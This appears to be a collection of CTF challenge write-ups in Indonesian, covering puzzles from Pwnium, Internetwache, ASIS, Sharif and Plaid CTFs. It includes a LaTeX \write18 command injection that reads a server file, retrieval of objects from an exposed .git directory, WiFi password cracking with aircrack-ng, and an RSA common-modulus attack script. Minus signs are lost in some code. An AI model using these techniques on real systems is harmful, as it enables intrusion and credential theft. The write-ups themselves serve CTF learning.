Setelah beberapa kali percobaan, text recognition tidak dapat mengambil text dari gambar sehingga diperlukan pre-processing gambar. Membuat gambar background (biru dan magenta) menjadi putih dan membuat warna tulisan hitam. Dengan menggunakan PIL dan load gambar menjadi two dimensional array. Berikut ini adalah kode yang digunakan. pixdata = img.load() # Clean the background noise, if color != white, then set to black. for y in xrange(img.size[1]): for x in xrange(img.size[0]): if pixdata[x, y] == (0, 0, 255, 255) or pixdata[x, y] == (255, 0, 255, 255): pixdata[x, y] = (0, 0, 0, 255) else: pixdata[x,y] = (255,255,255,255)
import sys img = Image.open("difference.png") img = img.convert("RGBA") pixdata = img.load() for y in xrange(img.size[1]): for x in xrange(img.size[0]): if pixdata[x, y] == (0, 0, 255, 255) or pixdata[x, y] == (255, 0, 255, 255): pixdata[x, y] = (0, 0, 0, 255) else: pixdata[x,y] = (255,255,255,255) img = img.convert("RGB") from pytesser import * passwd = image_to_string(img).replace(" ","").strip()+"\n" print(passwd) tn.write(passwd) print(tn.read_all())
Sehingga didapatkan flag Pwnium{b1a371c90da6a1d2deba2f6ebcfe3fc0}
32
Pwnium CTF 2014 - usb so fun source: https://crazybulletctfwriteups.wordpress.com/2014/07/07/pwnium-ctf-2014usb-so-fun/
24
File yang diberikan adalah network packet captured file (pcapng). Setelah proses download, hal pertama yang dilakukan adalah proses analisa tipe dan file. Kemudian dilakukan command sederhana pada pcap file. Langkah untuk crack pada OS Linux 1. Lihat properti file $ file for1.pcap for1.pcap: pcapng capture file – version 1.0
Problem ini sangat mudah Langkah untuk crack 1. Analisis file $ file Misc1.rar Misc1.rar: JPEG image data, JFIF standard 1.01, comment: “CREATOR: gdjpeg v1.0 (using IJG JPEG v80), quality = 100”
2. Ubah nama Misc.rar menjadi Misc1.jpg 3. Buka pada image-viewer, kemudian akan ditampilkan sebuah tulisan berukuran kecil. Cukup dengan melakukan zoom pada image dan akhirnya flag berhasil ditemukan Flag: Pwnium{361a8212dda49824b8fdb70ce48f2f60}
34
Pwnium CTF 2014 - Break me source: https://crazybulletctfwriteups.wordpress.com/2014/07/07/pwnium-ctf-2014break-me/
26
Cipher text QlpoOTFBWSZTWTxSmOAAAAsJAF/gOwAgADEAAAiZMNT0JbKzhCQcytA2gNbvXgSvxdyRThQkDxSmOA=
Langkah untuk crack 1. Cipher text menggunakan base64, hal ini diketahui dari panjang total dibagi dengan 4 dan char terakhir adalah =. 2. Jangan menggunakan dekoder base64 online. Tool ini tidak memberikan text unknown atau kode hexa decimal 3. Didapatkan base64 decode ‘BZh91AY&SY
4. Cari sesuatu yang berhubungan dengan output yang terkait 5. BZh91AY&SY terkait dengan kompresi bz2. Sehingga dilakukan kompresi bz2 pada module dengan menggunakan bahasa pemrograman Python. >>> import bz2 >>> b64d = ‘BZh91AY&SY>> d = bz2.decompress(b64d) >>> print repr(d) ‘9afa828748387b6ac0a393c00e542079’ >>>
6. Selesai Flag: 9afa828748387b6ac0a393c00e542079
35
Pwnium CTF 2014 - Alter code source: https://crazybulletctfwriteups.wordpress.com/2014/07/08/pwnium-ctf-2014alter-code/
27
Analisa file main.c. Output yang dihasilkan memberikan sesuatu yang berbeda dan output tersebut menggantikan sebuah kode rahasia pada program main.c. Given text: B1lR]c5r]Qsqfg Langkah untuk solve problem ini 1. Fokus pada kode rahasia 2. Menggunakan tool basic kriptografi seperti Mono Alphabetic cipher 3. Sehingga diputuskan untuk menggunakan metode enkripsi ROT-x (1-25) 4. Ada satu hasil dekripsi string yang memiliki makna yaitu sushi 5. Admin memberikan hint bahwa mata-mata berasal dari jepang ROT0: B1lR]c5r]Qsqfg ROT1: C2mS]d6s]Rtrgh ROT2: D3nT]e7t]Sushi ROT3: E4oU]f8u]Tvtij ROT4: F5pV]g9v]Uwujk ROT5: G6qW]h0w]Vxvkl ROT6: H7rX]i1x]Wywlm ROT7: I8sY]j2y]Xzxmn ROT8: J9tZ]k3z]Yayno ROT9: K0uA]l4a]Zbzop ROT10: L1vB]m5b]Acapq ROT11: M2wC]n6c]Bdbqr ROT12: N3xD]o7d]Cecrs ROT13: O4yE]p8e]Dfdst ROT14: P5zF]q9f]Egetu ROT15: Q6aG]r0g]Fhfuv ROT16: R7bH]s1h]Gigvw ROT17: S8cI]t2i]Hjhwx ROT18: T9dJ]u3j]Ikixy ROT19: U0eK]v4k]Jljyz ROT20: V1fL]w5l]Kmkza ROT21: W2gM]x6m]Lnlab ROT22: X3hN]y7n]Mombc ROT23: Y4iO]z8o]Npncd ROT24: Z5jP]a9p]Oqode ROT25: A6kQ]b0q]Prpef
6. Konsentrasi pada ROT-2: D3nT]e7t]Sushi 7. Hint dari admin adalah “Observe Tabs and Spaces” 8. Ubah ] menjadi _ sehingga menjadi D0nT_e7t_Sushi Flag: DonT_e7t
File zip berisi script Python bernama “shiftcrypt.py”. Namun source code ini terlihat ganjil. Untuk mendekripsikan encrypted text seharusnya melakukan operasi yang sama seperti cipher text – encyrpted text. result = [] blocks = struct.unpack("I" * (len(data) / 4), data) print repr(blocks) for block in blocks: result += [block ^ block >> 16]
Mencoba mengenkripsi string yang diberikan CjBPewYGc2gdD3RpMRNfdDcQX3UGGmhpBxZhYhFlfQA=
Dilakukan proses enkripsi lagi root@mankrik:~/ekoparty/crypto200# echo CjBPewYGc2gdD3RpMRNfdDcQX3UGGmhpBxZhYhFlfQA= | base64 d > c; ./shiftcrypt.py "`cat c`" | tail 1 | base64 d EKO{unshifting_the_unshiftable}
Flag ditemukan EKO{unshifting_the_unshiftable}
37
Internetwache CTF 2016 - Quick Run source: run.html
Solution Link file di dalam zip https://app.box.com/s/8aoepmqzfetr2syj9usq433kptaz8nid Mencoba base64 karena padding “==” pada text dan ditemukan QR code pada tiap blok text
Decoding QR code tersebut dan akhirnya flag ditemukan Flag is IW{QR_C0DES_RUL3}
Flag: IW{QR_C0DES_RUL3}
38
Internetwache CTF 2016 - The hidden message source: http://ctfwriteups.blogspot.co.id/2016/02/internetwache-ctf-2016-hiddenmessage.html
30
Question
Solution File README.txt di dalam file zip berisi 0000000 0000020 0000040 0000060 0000071
Melihat dari angka-angka tersebut, sangat jelas bahwa angka tersebut merupakan bilangan oktal. Dengan mengkonversi bilangan oktal menjadi ASCII akan memberikan hasil: V2VsbCBkb25lIQoKRmxhZzogSVd7TjBfMG5lX2Nhbl9zdDBwX3kwdX0K
Setelah itu lakukan proses decode base64 Flag IW{N0_0ne_can_st0p_y0u}
Hint mengatakan bahwa ada sebuah tabel pada website yang populer. Merujuk pada link berikut http://solarsystem.nasa.gov/galleries/solar-system-symbols Simbol-simbol diatas disubstitusikan berdasarkan nomor planet. Sehingga didapatkan barisan angka seperti berikut ini 82928 39292 89899 99292 92898 38983 89899 28392
99283 83898 28392 92839 98389 89899 28389 89898
92928 98992 92898 28989 89899 29292 83929 99283
98983 83898 38992 83929 29283 83928 29283 92898
89899 98983 83928 29283 89898 99289 89928 98992
28983 89898 99292 92928 98389 83929 98389 83928
89898 98392 83898 98983 92898 28989 92929 98989
98983 89928 98989 89898 98389 89839 28389 92839
89929 98392 83928 98389 89898 28983 92928 28989
28392 89899 99289 92928 98983 92928 98389 89928
83928 28389 83928 38989 89929 98983 89928 39289
38989 89929 98992 89899 28392 89898 39289 89899
92898 29283 83898 28392 92898 98392 89899 2
Pada deskripsi ditulis “Did the East German Secret Police see a Pirat on the sky?” sehingga dicobalah untuk dilakuakn pencarian menggunakan Google. Hasil pencarian merujuk pada Stasi Stasi memiliki table cipher vernam bernama TAPIR Dekripsi barisan angka menggunakan TAPIR. Sehingga didapatkan hasil seperti sandi morse berikut
Yang didalam alfabet berbunyi kzfhwttfmvsscx2ugayhcx2dozsw4z3sl5wge2c7nzsxeorjpu====== Lakukan base32 VJ{Neee!_T00q_Cvengr_lbh_ner:)}
ROT-13 IW{Arrr!_G00d_Pirate_you_are:)}
Flag: IW{Arrr!_G00d_Pirate_you_are:)}
41
Internetwache 2016 - Replace with grace source: http://ctfwriteups.blogspot.co.id/2016/02/internetwache-ctf-2016-replacewith.html
32
Question
Service https://replace-with-grace.ctf.internetwache.org Solution Halaman web memiliki 3 parameter yaitu: search, replace dan content Contohnya search : /cow/ replace : cat content : cows are cute output : cats are cute. Karena halaman web menggunakan PHP maka untuk search digunakan fungsi preg_replace.
Service https://0ldsk00lblog.ctf.internetwache.org/ Di dalam blog menampilkan bahwa “All people are talking about a tool called ‘Git’, I think I might give this a try“. Statement ini menimbulkan kecurigaan sehingga dicoba untuk mengecek apa yang ada di dalam folder melalui url https://0ldsk00lblog.ctf.internetwache.org/.git/ Namun browser menampilkan “403 Forbidden” yang berarti direktori tersebut ada namun tidak dapat diakses. Setelah itu mempelajari struktur direktori git. Dengan menggunakan sebuah tool yang sangat berguna yaitu dcvr-ripper yang dapat membantu menemukan commits dan mengecek apakah direktory pada git dapat diakses seperti log, config, objek dan lain sebagainya. Setelah menggunakan tool tersebut, berikut ini adalah list objek yang didapat objects/14/d58c53d0e70c92a3a0a5d22c6a1c06c4a2d296 objects/db/a52097aba3af2b30ccbc589912ae67dcf5d77b objects/26/858023dc18a164af9b9f847cbfb23919489ab2 objects/8c/46583a968da7955c13559693b3b8c5e5d5f510 objects/14/d58c53d0e70c92a3a0a5d22c6a1c06c4a2d296 objects/db/a52097aba3af2b30ccbc589912ae67dcf5d77b objects/26/858023dc18a164af9b9f847cbfb23919489ab2 objects/25/a3f35784188ac1c9bf48a94e5a9c815bcb598c objects/33/a5c0876603d7a6f9729637f36030bbabb2afa3 objects/95/a5396e62ca5c9577f761ebe969f52d3b6a9235 objects/19/49446afea12e0937044fdabe8cc101c87f7c54 objects/3b/e70be50c04bab8cd5d115da10c3a9c784d6bae objects/91/f09a7948e02d891d3a39c058a634a8752aba20 objects/75/03402e4d48be951cddda34aae6e01905bb5c98 objects/55/08adb31bf48ae5fe437bdeba60f83982356934
Membaca file objek File dalam list diperiksa satu persatu Setelah itu mendekompres tiap objek menggunakan python dan zlib, dan akhirnya objek terakhir pada list terdapat flag objects/55/08adb31bf48ae5fe437bdeba60f83982356934
Service https://texmaker.ctf.internetwache.org/ Solution Halaman website akan memberikan program a late dan membuat sebuah pdf Guide untuk melakukan hack pada latex http://cseweb.ucsd.edu/~hovav/dist/texhack.pdf Pendekatan pertama yang dilakukan adalah menggunakan \input{“ls”} namun website merespon dengan “BLACKLISTED commands cannot be used” Pendekatan kedua dengan menggunakan \write18
Dan \write18{cat ../flag.php}
45
Flag IW{L4T3x_IS_Tur1ng_c0mpl3te}
46
Nuit de Hack Quals 2014 - carbonara source: http://ctfwriteups.blogspot.co.id/2014/04/nuit-de-hack-quals-2014carbonara.html
Solusi Pendekatan pertama, subsititusi dengan melihat pada website asciitable.com : menjadi i D menjadi s Sehingga didapatkan flag Imperator Iulius Caesar Divus
47
Nuit de Hack Quals 2014 - Here kitty kitty source: http://ctfwriteups.blogspot.co.id/2014/04/nuit-de-hack-quals-2014-here-kittykitty.html
36
Question
Mirror link http://1drv.ms/1jjplOH Hal yang pertama dilakukan adalah membuka file dengan menggunakan bantuan program audacity. Waveform yang didapat sangat aneh sehingga menimbulkan kecurigaan. Dengan melakukan zoom in pada gelombang maka didapatkan sandi morse.
Dekoding sandi morse yang didapat sehingga menghasilkan md5 hash 5BC925649CB0188F52E617D70929191C
Karena problem ini case sensitive maka flag 5bc925649cb0188f52e617d70929191c
48
Olympic CTF 2014 - Binathlon 10 – Just no one source: http://ctfwriteups.blogspot.co.id/2014/02/olympic-ctf-2014-binathlon-10-justno.html
37
Problem ini adalah problem binary
Challenge file https://db.tt/5I7qkEPv Problem dikategorikan sebagai problem binary namun problem ini mengajarkan kita bagaimana pentingnya untuk membaca license agreement. File yang didapat adalah delphi coded password protected. Namun ternyata tidak sulit untuk menemukannya dan berikut ini adalah jawabannya
Flag: ILOVEREADINGEULAS
49
Olympic CTF 2014 - Out there source: http://ctfwriteups.blogspot.co.id/2014/02/olympic-ctf2014-curling-10-outthere.html
38
Problem ini berdasarkan ipv6 sehingga perlu dilakukan konfigurasi untuk mengakses alamat ipv6. Untuk menyelesaikan problem ini digunakanlah untuk https://ipv6.he.net/ tunelling Question
Flag is out there http://[2a02:6b8:0:141f:fea9:d5ff:fed5:XX01]/ Lakukan pencarian dengan menggunakan google kemudian didapatkan hasil bahwa alamat yang diakeses seharusnya adalha http://[2a02:6b8:0:141f:fea9:d5ff:fed5:6901] XX adalah 69. Lakukan inspeksi souce code pada website kemudian dapatakan flag
Flag CTF{7a0dd6d4556a7ed60e6f7686eae0590d}
50
Olympic CTF 2014 – as seen on defcon source: http://ctfwriteups.blogspot.co.id/2014/02/olympic-ctf-2014-nopsleigh-10-asseen.html
39
Question
EBFE is to x86 as _______ is to ARM64 Solution Untuk menyelesaikan problem ini, yang harus dilakukan adalah mencari upcode pada unconditional branch pada infinite loop di ARM64 sebagai EBFE di x86 yang berarti unconditional jump. Hint yang didapat adalah pertanyaan itu sendiri. Tugas yang harus dilakukan adalah menemukan opcode. Lakukan pencarian pada Google kemudian didapatkan 0x14000000 sebagai opcode. Jika ditemukan EAFFFFFE maka itu adalah 32 bit. Flag: 00000014
Problem Satyam memiliki keahlian untuk melihat tiga karakter terakhir dari password temannya yang bernama Pravj yaitu 007. Sebagai hacker, dia mengcapture paket yang dikirim melalui router WiFi milik Pravj. Satyam dan Pravj adalah teman yang sangat dekat, dia mengetahui seberapa cintanya Pravj dengan sistem angka hexadesimal. Bantu Satyam untuk meretas password WiFi (Satyam tidak tahu bahwa password menggunakan pergeseran kunci). Flag menggunakan md5(wifi_password) Solution Di dalam problem juga diberikan file berekstensi cap dnegan memotong jalur wifi dan petunjuk dari password dan jangkauan wifi adalah angka hexa yang diakhiri dengan 007. Diketahui bahwa pergeseran kunci tidak digunakan jadi dapat dikatakan bahwa semua huruf menggunakan huruf kecil. Berikut ini program yang digunakan untuk menggenerate file dengan string dalam format hex007, dimana hex adalah angka-hex 1 sampai 5. #include #include #include #include using namespace std; char getChar(int x) { if (x < 10) { return '0' + x; } return 'a' + x 10; } int main() { string suf = "007"; int minlen = 1; int maxlen = 5; freopen("dict.txt", "w", stdout); for (int len = minlen; len <= maxlen; len++) { long long mx = 1ll << (len * 4); for (long long cur = 0; cur < mx; cur++) { string tmp = ""; long long x = cur; for (int j = 0; j < len; j++) { tmp += getChar(x & 15); x >>= 4; } reverse(tmp.begin(), tmp.end()); printf("%s%s\n", tmp.c_str(), suf.c_str()); } } return 0; }
Sehingga didapatkan kamus dengan serangan brute force. Serangan ini diimplementasikan menggunakan aircracking. Untuk memulai serangan dapat menggunakan perintah 54
Aircrackngnetwork.cap –w dict.txt
Sehingga kunci berhasil ditemukan
Flag md5(e9b6f007) yang berarti c578ddd79dc30186ba22714e6afe5f18
Diberikan string qvnju181mjziote0zge4mdk0odi4odfmnmnmnmi5zjm2yzy3mq==
Diakhiri dengan “==” sehingga dapat ditebak bahwa string ini menggunakan penyandia base64. Setelah memecahkan kode menggunakan base64, flag tidak berhasil didapatkan namun mendapatkan karakter aneh. Panjang string adalah 25 karakter dengan perkalian 4, sehingga harus menggunakan penyandian base64. Note: tiap karakter adalah huruf kecil. Setelah itu dicoba kembali memecahkan base64 “QVNJ” sehingga mendapatkan hasil “ASI” Seperti yang kita tahu bahwa base64 ditambahkan 3 karakter menjadi 4 karakter, sehingga untuk mendapatkan flag dicobalah untuk memecahkan kode setiap 4 karakter setiap waktunya untuk mengetahui apakah salah satunya seharusnya huruf besar atau tidak. Selanjutnya akan didapatkan string sebagai berikut QVNJU181MjZiOTE0ZGE4MDk0ODI4ODFmNmNmNmI5ZjM2YzY3MQ==
Setelah dilakukan pemecahan kode flag ASIS_526b914da809482881f6cf6b9f36c671
56
ASIS CTF 2014 Quals - Plough source: http://blogs.univ-poitiers.fr/e-laize/2014/05/11/asis-2014-plough/
43
URL: http://asis-ctf.ir/challenges/ Deskripsi Berikut ini adalah kode yang digunakan untuk enkripsi dan file yang telah dienkripsi https://asisctf.ir/tasks/crypto/crypto_250_bf16a61aa8117be9c994f171023d37ff
Plough.cpp adalah file atau program yang digunakan untuk mengenkripsi file yang ditulis dengan menggunakan bahasa pemrograman C++, berikut ini adalah source codenya: #include #include #include #include using namespace std; // class class1 { private: FILE*file; unsigned char k; char chw; public: class1(char[20]); ~class1(); void w(char); void wn(int, char); }; // class1::class1(char FileName[20]) { if(!(file = fopen(FileName, "wb"))) { cout << "\nError: cant crate file!"; exit(1); } k = 128; chw = 0; } // class1::~class1() { if(k != 128) putc(chw, file); fclose(file); } // void class1::w(char b) { if(b > 1) b = 1; chw += b * k; if(!(k /= 2)) { putc(chw, file); k = 128;
57
chw = 0; } } // void class1::wn(int n, char ch) { int k = (n > 0); char temp; for(; n > 1; n) k *= 2; for(; k; k /= 2) { temp = ch & k; w(temp); } } // class class2 { private: FILE*file; unsigned char k; char chR; public: class2(char[20]); ~class2(); int r(); char rn(int); int end(); }; // class2::class2(char FileName[20]) { if(!(file = fopen(FileName, "rb"))) { cout << "\nError: cant read file!"; exit(1); } chR = getc(file); k = 128; } // class2::~class2() { fclose(file); } // int class2::r() { int ret = k & chR; if(!(k /= 2)) { chR = getc(file); k = 128; } if(ret) return 1; else return 0; } // char class2::rn(int n) { int ret = 0; int k = (n > 0); for(; n > 1; n) k *= 2; for(; k; k /= 2) ret += r() * k; return (char) ret; } // int class2::end() {
Analisis algoritma Di file atau program terdapat dua kelas 1. Kelas pertama mengenai alur keluaran a. Constructor dan destructor: menangani, membuka dan menutip file keluaran b. w(char b): set (b=1) / unset (b=0) bit saat ini adalah byte keluaran saat ini c. wn(int n, char ch): penyandian nilai ch menggunakan bits ke n 2. Kelas kedua mengenai alur masukan a. Constructor dan destructor: menangani membuka file kelauran b. r(): mengembaliksn nilai (0 atau 1) dari nilai dari file input c. rn(int n): mengembalikan nilai campuran dari bits ke n dimulai dari nilai bit dari byte input d. end(): memgembalikan nilai akhiran dari status file input Salah satu fungsi penyandian zip(char *inFileName, char *outFileName) a. r adalah nilai bit sekarang dari inputan b. shift digunakan untuk mengalihkan penulisan dari 3 bits dan 2 bits c. counter adalah jarak antara nilai bit dan nilai selanjutnya Skema penyandian terbalik Dapat dilihat pada kode program bahwa terdapat dua proses penulisan a. 3 bit: nilai dari 3 bit mewakilkan posisi dari nilai bit selanjutnya b. 2 bit: tergantung dari nilai 2 bit dan nilai dari counter
60
Implementasi lebih mudah dapat dilihat pada kombinasi decode menggunakan matrik berikut ini
Jika hasilnya berakhir dengan nilai 1 maka counter = 0 jika tidak maka counter = 1 Decode dengan Python Bahasa pemrograman Python tidak diperuntukkan untuk mendecode file yang sangat besar, namun lebih mudah untuk melihat bagaimana jalannya sebuah program. f = open('encrypted', 'rb') iSTR = f.read() iBSTR = ''.join(['{:08b}'.format(ord(c)) for c in iSTR]) f.close() oBSTR = '' shift, counter = 0, 0 while (iBSTR != ''): if (shift == 0): r, iBSTR = int(iBSTR[:3],2), iBSTR[3:] oBSTR += '0' * (r counter) if (r < 7): oBSTR += '1' counter = 1 else: counter = 0 shift = 1 else: r, iBSTR = int(iBSTR[:2],2), iBSTR[2:] oBSTR += [['0', '10', '110', '111'], ['', '0', '10', '11']][counter][r] if (oBSTR[1] == '1'): counter = 0 else: counter = 1 shift = 0 oSTR = ''.join([chr(int(oBSTR[i:i+8],2)) for i in range(0, len(oBSTR), 8)]) f = open('plain', 'wb') f.write(oSTR) f.close()
Setelah didekripsi didaptkan hasil dengan format gambar PNG
Flag ASIS_c09d9dce6d68b484f7a37d5c80d576913 61
Sharif University CTF Quals 2014 – Decrypt the message! source: https://ctfcrew.org/writeup/74
44
Problem Dekripsi pesan! Berikut ini adalah isi dari encrypted.txt The life that I have Is all that I have And the life that I have Is yours. The love that I have Of the life that I have Is yours and yours and yours. A sleep I shall have A rest I shall have Yet death will be but a pause. For the peace of my years In the long green grass Will be yours and yours and yours. decrypted message: emzcf sebt yuwi ytrr ortl rbon aluo konf ihye cyog rowh prhj feom ihos perp twnb tpak heoc yaui usoa irtd tnlu ntke onds goym hmpq
Solution Didapatkan pesan rahasia dan puisi. Untuk mendapatkan flag di dalam puisi tersebut maka dilakukan pencarian kata yang membentuk sebuah kunci. Grup pertama dari beberapa huruf pesan rahasia adalah “amzcf”. Itu berarti 5, 13, 26, 3 dan 6 telah diguanakan. Kata-katanya adalah “have life life that is” namun dalam kalimat tersebut hanya memiliki 18 huruf, sedangkan yang dibutuhkan adalah 25 huruf (karena harus ada 4 huruf tiap bloknya. Ini mengindikasikan bahwa pesan asli telah dibagi menjadi 4 blok dengan panjang 25, sehingga kuncinya mempunyai panjang sama 25). Dilakukan pengecekan kata menggunakan modulus: ke5 ke13 ke26 ke3 ke6
have yours my life shall be life pause that have peace is and years
Maksimum panjang kata adalah 5 sehingga membutuhkan 5 huruf sebagai kunci, hanya ada satu cara yaitu memilih kata “yours shall pause peace years”. passphrase = "yoursshallpausepeaceyears" alph = string.ascii_lowercase count = 1 passkey = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] for a in alph: for i in xrange(len(passphrase)): if passphrase[i:i+1] == a: passkey[i] = count count +=1 print "Key is " + str(passkey)
62
Dari pencarian kunci menggunakan program diatas dihasilkan kunci [24, 13, 22, 16, 18, 19, 10, 1, 11, 12, 14, 2, 23, 20, 6, 15, 7, 3, 5, 8, 25, 9, 4, 17, 21] Langkah selanjutnya adalah melakukan dekripsi, berikut ini adalah source codenya encrypted = ["sebt", "yuwi", "ytrr", "ortl", "rbon", "aluo", "konf", "ihye", "cyog", "rowh", "prhj", "feom", "ihos", "perp", "twnb", "tpak", "heoc", "yaui", "usoa", "irtd", "tnlu", "ntke", "onds", "goym", "hmpq"] result ="" for i in xrange(4): for j in xrange(len(passkey)): test = j + 1 for k in xrange(len(passkey)): if test == passkey[k]: result = result + encrypted[k][i:i+1] print "Decrypted message is " + result
Menghasilkan sebuah string sebagai berikut ifyouthinkcryptographyistheanswertoyourproblemthenyoudonotknowwhatyourproblemis abcdefghijklmnopqrstu
Pada akhir kata terdapat alphabet yang urut (lapisan), sehingga jawaban atau flag ifyouthinkcryptographyistheanswertoyourproblemthenyoudonotknowwhatyourproblemis
63
Sharif University CTF Quals 2014 – AES Broken source: https://ctfcrew.org/writeup/75
45
Dalam problem ini diberikan file yang seidikit lebih panjang yang sepertinya adalah ciphertext yaitu hasil dari transformasi metode enkripsi AES dengan beberapa macam cara. Setelah melihat menggunakan Sublime, tidak ada yang salah pada file tersebut. Sublime akan hang setelah mencoba mencari keseluruhan file. Membuat file menjadi biner dan membukanya dengan beberapa aplikasi hex. Sekarang terlihat lebih mudah untuk melihat ciphertext. Dapat terlihat pengulangan bloknya. Untuk metode AES yang normal dalam mode ecb tidaklah aneh. Sekarang cari berapa banyak perulangan ciphertext.
Dari hasil yang ditunjukkan, terdapat sesuatu yang aneh. Apakah mengenkrip satu karakter plaintext per blok? Untuk mempermudah perhitungan berapa banyak blok ciphertext yang berbeda dalam file digunakanlah source code berikut ini: #!/usr/bin/python from sets import Set import operator with open('ciphertext','r') as f: output = f.read() uniques=dict([]) for i in xrange(len(output)/32): word=output[32*i:32*i+32] if uniques.has_key(word): uniques[word]+=1 else: uniques[word]=0 print len(uniques) print uniques
Didapatkan 27 blok, pasti terdapat 26 karakter alfabet dengan spasi. Rubah kode untuk mengganti blok tiap karakter menjadi seperti ini for (block,c) in zip(uniques,map(chr, list(xrange(ord('A'), ord('Z')+1)) + list([ord(' ')]))):
64
output=output.replace(block,c) print output
Berikut ini adalah output yang daitampilkan menggunaka crypto tool
Setelah itu memperbaiki adoeagimjrrlyhcsqfgg
beberapa
permutasi
tiap
alfabet
sehingga
didapatkan
flag
65
DEF CON CTF Qualifier 2013 - Symphony source: https://dook.biz/2015/03/boston-key-party-ctf-symphony-writeup/
46
Problem adalah
Ketika link diklik maka akan ditampilkan halaman web yang memiliki password
Jika klik title dari level 2 maka akan membawa anda ke direktori html/php, kode yang berjalan pada background. Bagian inti adalah kode php yaitu: 999) die('Flag: '.$flag); else print '
Too little
'; } else print '
Too long
'; } else print '
Password is not numeric
'; } ?>
Berikut ini adalah langkah untuk memecahkan kode phpnya: a. Pertama lakukan pengecekan apakah field password telah terisi b. Dengan menggunakan fungsi php is_numeric, akan mengecek jika suatu nilai yang diberikan pada field password bernilai satu. c. Selanjutnya cek jika panjang nilai yang dimasukkan kurang dari 4 karakter d. Lalu cek apakah nilai yang dimasukkan lebih besar dari 999 Gunakan kalkulator untuk mempemudah, pilih mode programmer kemudian masukkan angka lebih besar dari 999 lalu tekan tombol hex. 66
3E8 adalah angka dimana lebihh besar dari 999 dan kurang dari 4 karakter. Lalu masukkan ke halaman website sebagai password.
Problem terdiri dari file yang berisi koleksi dari record {N : e : c} {0xa5f7f8aaa82921f70aad9ece4eb77b62112f51ac2be75910b3137a28d22d7ef3be3d734dabb9 d853221f1a17b1afb956a50236a7e858569cdfec3edf350e1f88ad13c1efdd1e98b151ce2a207e5 d8b6ab31c2b66e6114b1d5384c5fa0aad92cc079965d4127339847477877d0a057335e2a761562d 2d56f1bebb21374b729743L : 0x1614984a0df : 0x7ded5789929000e4d7799f910fdbe615824d04b055336de784e88ba2d119f0c708c3b21e9d551 c15967eb00074b7f788d3068702b2209e4a3417c0ca09a0a2da4378aa0b16d20f2611c4658e090e 7080c67dda287e7a91d8986f4f352625dceb135a84a4a7554e6b5bd95050876e0dca96dc21860df 84e53962d7068cebd248dL} {0xa5f7f8aaa82921f70aad9ece4eb77b62112f51ac2be75910b3137a28d22d7ef3be3d734dabb9 d853221f1a17b1afb956a50236a7e858569cdfec3edf350e1f88ad13c1efdd1e98b151ce2a207e5 d8b6ab31c2b66e6114b1d5384c5fa0aad92cc079965d4127339847477877d0a057335e2a761562d 2d56f1bebb21374b729743L : 0x15ef25e10f54a3 : 0x7c5b756b500801e3ad68bd4f2d4e1a3ff94d049774bc9c37a05d4c18d212c5b223545444e7015 a7600ecff9a75488ed7e609c3e931d4b2683b5954a5dc3fc2de9ae3392de4d86d77ee4920fffb13 ad59a1e08fd25262a700eb26b3f930cbdc80513df3b7af62ce22ab41d2546b3ac82e7344fedf8a2 5abfb2cbc717bea46c47eL} (...)
Baris pertama memberikan petunjuk tentang skema enkripsi yang disimbolkan dengan N, e dan c biasanya digunakan untuk mendankan modulus, eksponen dan RSA ciphertext. Hal pertama yang disadari adalah semua modulus bersifat sama, yang dapat membuktikan terjadi exploitasi . Dengan mempertimbangkan hal berikut: Diberikan plaintext m dan satu set n tupel dengan m pangkat ei modulus N = ci jika terdapat 2 tupel termasuk gcd(ei, ej) = 1 maka dapat digunakan algoritma extended Euclidian untuk mendapatkan egcd(ei, ej) = aiei + ajej = 1. Dengan mempertimbangkan ci^ai * cj^aj = (m^ei)^ai * (m^ej)^aj = m^(eiai) * m^(ejaj) = m^(eiai + ejaj) = m^1 = m (tentunya semua modulus N). Akan berpotensi muncul masalah, tentusaja, ketika ai atau aj bernilai negatif. Mempertimbangkan aj bernilai negatif maka harus menemukan modular perkalian invers yang sesuai dengan ciphertext cj dan hitung b = (gcd(e1, e2)-(a*e1))/e2, jadi dapat menghitung ci^ai * modInv(cj, N)^(-b) % N = m. Diiterasikan melalui tupel dan cek setiap kombinasi untuk kandidat yang pas dengan skrip dibawah ini : #!/usr/bin/python # # Plaid CTF 2015 # Strength (CRYPTO/110) # # @a: Smoke Leet Everyday # @u: https://github.com/smokeleeteveryday # # GCD (times sign of b if b is nonzero, times sign of a if b is zero) def gcd(a,b): while b != 0: a,b = b, a % b return a # Extended Greatest Common Divisor def egcd(a, b): if (a == 0): return (b, 0, 1) else: g, y, x = egcd(b % a, a)
68
return (g, x (b // a) * y, y) # Modular multiplicative inverse def modInv(a, m): g, x, y = egcd(a, m) if (g != 1): raise Exception("[]No modular multiplicative inverse of %d under modulus %d" % (a, m)) else: return x % m def to_bytes(n, length, endianess='big'): h = '%x' % n s = ('0'*(len(h) % 2) + h).zfill(length*2).decode('hex') return s if endianess == 'big' else s[::1] crypt_tups = [] lines = open("captured", "rb").read().split("\n") lines = lines[1:len(lines)1] # get rid of first and last line for line in lines: tups = line[1:len(line)1].split(":") N, e, c = [long(x.strip(),16) for x in tups] crypt_tups.append((N, e, c)) for i in xrange(len(crypt_tups)): for j in xrange(len(crypt_tups)): if(i == j): continue N1, e1, c1 = crypt_tups[i] N2, e2, c2 = crypt_tups[j] assert (N1 == N2) #a1*e1 + a2*e2 = 1 if (gcd(e1, e2) == 1): #a = a1 % e2 a = modInv(e1, e2) #b = (gcd(e1, e2)(a*e1))/e2 (will be negative) b = long((float(gcd(e1, e2)(a*e1)))/float(e2)) assert (b < 0) # Modular multiplicative inverse c2i = modInv(c2, N1) c1a = pow(c1, a, N1) c2b = pow(c2i, long(b), N1) m = (c1a * c2b) % N1 print to_bytes(m, 16) exit()
Maka akan didapatkan $ python strength_crack.py flag_Strength_Lies_In_Differences
Flag flag_Strength_Lies_In_Differences
69
VolgaCTF 2015 Quals - rsa source: https://github.com/smokeleeteveryday/CTF_WRITEUPS/tree/master/2015/ VOLGACTF/crypto/rsa
48
